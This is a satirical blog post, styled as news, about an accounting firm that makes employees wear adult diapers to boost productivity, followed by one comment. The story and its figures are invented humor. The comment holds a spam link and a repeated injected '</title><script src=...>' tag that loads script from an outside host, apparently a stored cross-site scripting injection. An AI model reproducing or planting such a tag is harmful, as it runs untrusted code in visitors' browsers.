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Company Uses Adult Diapers To Increase Productivity
by Kris on 9/7/2006 (1)

I've got to get me some of those!
In the fast paced world of business, companies are always looking for ways to increase profit margins. New York uber-accounting firm Nelson and James Accounting are trying a radical new idea that could soon be copied by companies worldwide.

"Our research shows that each of our employees spends on average one hour per day of paid company time in the employee bathrooms," said President and founder Bob Nelson. "This results in approximately 100 hours of lost time each day. This lost time is costing the company between $2,000 and $3,000 per day and over $12 billion dollars a year!"

Nelson speculated that employees spend most of this time pooping or reading in the stalls while pretending to be pooping. He also felt some of the time was spent peeing, fixing hair, or smoking "doobies".

So the Nelson and James Accounting firm hired the Tommy Johns Research Company to determine a way to minimize the lost time for their company.

"Unfortunately because of privacy laws and common decency, there is no good way to monitor bathroom activity," said Tommy Johns. "So we looked for ways to keep employees out of the bathrooms and at their desks. We considered implementing things like bed pans and catheters, but ultimately adult diapers just made the most sense."

Diapers are readily available, easily disposable, and thanks to a bulk purchase from Depends, very cheap. In addition, they provide the sort of shame that many in the business world feel needs to be placed upon lower level employees.

While initially wearing diapers was baulked at by employees, they were quick to come around when they realized just how much more work they were getting done.

"I no longer have a backlog of tax information to go through at the end of the week," said employee Tim Shell. "That means I don't have to come in on Saturdays anymore. Now I can spend my time huffing gasoline and egging houses with all my buddies."

"Our employees are happy because they don't have to work weekends and aren't as stressed to meet deadlines and our customers are happy because they're getting back their accounting information in a more timely manner," said Nelson. "I don't think this could have possibly worked out any better."

Since implementing the adult diaper policy two months ago, Nelson and James Accounting revenue has increased by nearly 25% and company moral is way up, despite the occasional foul smell or case of diaper rash.uild


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Comments

1. by jennfancy on 12/3/2008 9:11:55 AM
We should start putting these on our employees. I found a cheap site to buy <a href="http://www.lynncore.com">adult diapers</a> for them."0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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